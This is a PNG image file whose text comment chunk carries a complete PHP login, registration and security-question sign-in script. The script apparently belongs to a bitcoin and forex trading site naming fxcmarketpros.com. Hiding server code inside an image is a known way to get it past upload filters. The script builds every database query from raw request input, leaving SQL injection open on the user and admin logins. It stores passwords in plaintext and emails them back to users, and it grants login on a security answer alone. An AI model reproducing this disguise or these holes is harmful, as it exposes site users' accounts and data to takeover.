PNG IHDR x sBIT|d pHYs + tEXtSoftware www.inkscape.org< ,tEXtComment
<?php
session_start();
error_reporting(0);
include("config/dbconfig.php");
if(($_REQUEST['error'])=='nologin')
$logininfo="Please Sign In to Continue";
else if(($_REQUEST['error'])=='forgetpass')
$logininfo="Please contact the nearest branch";
$username = $_REQUEST['email'];
$password = $_REQUEST['password'];
$access = $_REQUEST['access'];
if ((isset($_REQUEST['email'])))
{
$query="SELECT * FROM bitcoin_users WHERE email = '$username' AND password='$password' AND status != 0";
$res= mysqli_query($con,$query);
if(mysqli_num_rows($res) == 1)
{
while($recarr = mysqli_fetch_array($res))
{
$_SESSION['user_id'] = $recarr['user_id'];
$_SESSION['name'] = $recarr['name'];
$_SESSION['username'] = $recarr['username'];
}
$_SESSION["users"] =$_POST["email"];
header("Location: dashboard/index.php");
$day =date('l');
$msg = "You login on $day";
$user_identity = $_SESSION['user_id'];
$alert_id = substr(str_shuffle('1234567890') , 1 , 3 );
mysqli_query($con,"INSERT INTO `alert`(`user_id`, `alert_id`, `alert_message`, `status`) VALUES ('$user_identity', '$alert_id',
'$msg','2')");
$subj='SOME TRY SIGNING IN INTO YOUR ACCOUNT';
$mess='';
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$headers .= 'From: <no-reply@'.$url.'>' . "\r\n";
$to=$email;
$subject=$subj;
$message=$mess;
mail($to,$subject,$message,$headers);
}
else
{
print "
<script language='javascript'>
window.location = 'login.php?error=failed';
</script>
";
}
$query="SELECT * FROM administartor WHERE username='$username' AND password='$password'";
$resss= mysqli_query($con,$query);
if(mysqli_num_rows($resss) == 1)
{
while($arrows = mysqli_fetch_array($resss))
{
$_SESSION['user_id'] = $arrows['user_id'];
$_SESSION['admin'] = $arrows['username'];
}
$_SESSION["admin"] =$_POST["email"];
header("Location: admin/index.php");
}
else
{
print "
<script language='javascript'>
window.location = 'login.php?error=failed';
</script>
";
}
}
if(isset($_REQUEST['register'])){
$result = mysqli_query($con,"SELECT * FROM bitcoin_users");
while($rows = mysqli_fetch_array($result))
{
$user_code = $rows['user_id'];
}
$_SESSION['pinn'] = substr(str_shuffle('01234567890') , 1 ,4 );
$user_id = substr(str_shuffle('1234567890') , 1 , 6 );
$firstname =$_REQUEST['firstname'];
$lastname =$_REQUEST['lastname'];
$fullnames = $firstname." ".$lastname;
$phone =$_REQUEST['phone'];
$email =$_REQUEST['email'];
$country =$_REQUEST['country'];
$password =$_REQUEST['password'];
$confirmpass =$_REQUEST['confirmpass'];
$at =$_REQUEST['at'];
$sym =$_REQUEST['cur'];
$username =$_REQUEST['username'];
$fullname = $firstname."".$lastname;
$referal_id = $_REQUEST['referal_id'];
if(!empty($_REQUEST['question1'])){
$question = $_REQUEST['question1'];
}elseif(!empty($_REQUEST['question2'])){
$question = $_REQUEST['question2'];
}elseif(!empty($_REQUEST['question3'])){
$question = $_REQUEST['question3'];
}elseif(!empty($_REQUEST['question4'])){
$question = $_REQUEST['question4'];
}elseif(!empty($_REQUEST['question5'])){
$question = $_REQUEST['question5'];
}
if($password !== $confirmpass){
header("Location: register.php?msg=failed");
}elseif($password == $confirmpass){
if(!empty($referal_id)){
mysqli_query($con,"UPDATE account_banlance SET referral_bonus = (referral_bonus + '100') WHERE user_id = '".$referal_id."' ");
}
mysqli_query($con,"INSERT INTO `bitcoin_users`(`user_id`, `name`,`sym`,`at`, `username`, `lastname`, `password`, `email`, `phone`, `country`, `question`) VALUES
('$user_id','$firstname','$sym','$at','$username','$lastname','$password', '$email','$phone', '$country', '$question')");
mysqli_query($con,"INSERT INTO `account_banlance`(`user_id`, `accountbalance`) VALUES
('$user_id','00.00')");
$to = "$email";
$subject = 'Registration Successful- "'.$website_name.'"';
$from = "support@fxcmarketpros.com";
// To send HTML mail, the Content-type header must be set
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
// Create email headers
$headers .= 'From: '.$from."\r\n".
'Reply-To: '.$from."\r\n" .
'X-Mailer: PHP/' . phpversion();
// Compose a simple HTML email message
$message = '
Dear '.$fullnames.' Thank you for choosing '.$website_name.' as your trading platform. Your Trader account has been successfully created. Make sure to keep your login details safe for future references.For safety and security ,never share your login details or password with anyone.
<br>
<br>
As a registered trader of '.$website_name.' you can now access:
<br>
<br>
A large list of tradeable assets-Forex,Indices,Stocks and Commodities CFD and Forex trading using the MTA trading platform And Bitcoin mining. Important notice:Trading account reflects the trading conditions of a platinum account type.
Should you have any questions or concerns,please contact us at support@fxcmarketpros.com with your email or your updated contact number or visit our contact us page. If you have to contact us directly, or use the live chat in our site.
<br>
<br>
You’re just a few steps away from trading with us. Happy Trading Your Support Team. '.$website_name.' Disclaimer:
'.$website_name.' is offering to rent hardware to clients for mining purposes. Clients that only rent hardware under investment considerations are reminded to
carefully access the underlying risks of such an investment in hardware themselves</td>
'.$website_url.'
'.$username.'
'.$password.'
';
// Sending email
if(mail($to, $subject, $message, $headers)){
} else{
}
header("Location: login.php");
}
}
if ((isset($_REQUEST['passed'])))
{
if(!empty($_REQUEST['question1'])){
$question = $_REQUEST['question1'];
}elseif(!empty($_REQUEST['question2'])){
$question = $_REQUEST['question2'];
}elseif(!empty($_REQUEST['question3'])){
$question = $_REQUEST['question3'];
}elseif(!empty($_REQUEST['question4'])){
$question = $_REQUEST['question4'];
}elseif(!empty($_REQUEST['question5'])){
$question = $_REQUEST['question5'];
}
$result = mysqli_query($con,"SELECT * FROM bitcoin_users WHERE question ='".$question."'");
while($rows = mysqli_fetch_array($result))
{
$user_code = $rows['user_id'];
}
$query="SELECT * FROM bitcoin_users WHERE user_id ='".$user_code."' AND question ='".$question."' AND fingerprint='enable' ";
$res= mysqli_query($con,$query);
if(mysqli_num_rows($res) == 1)
{
while($recarr = mysqli_fetch_array($res))
{
$_SESSION['user_id'] = $recarr['user_id'];
$_SESSION['name'] = $recarr['name'];
$_SESSION['username'] = $recarr['username'];
}
$_SESSION["users"] = $_GET["access"];
header("Location: dashboard/index.php");
$day =date('l');
$msg = "You login on $day";
$user_identity = $_SESSION['user_id'];
$alert_id = substr(str_shuffle('1234567890') , 1 , 3 );
mysqli_query($con,"INSERT INTO `alert`(`user_id`, `alert_id`, `alert_message`, `status`) VALUES ('$user_identity', '$alert_id',
'$msg','2')");
$subj='SOME TRY SIGNING IN INTO YOUR ACCOUNT';
$mess='';
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
$headers .= 'From: <no-reply@'.$url.'>' . "\r\n";
$to=$email;
$subject=$subj;
$message=$mess;
mail($to,$subject,$message,$headers);
}
else
{
print "
<script language='javascript'>
window.location = 'access.php?error=failed';
</script>
";
}
}
?>
b IDATxytVսϓ22 A@IR:hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-E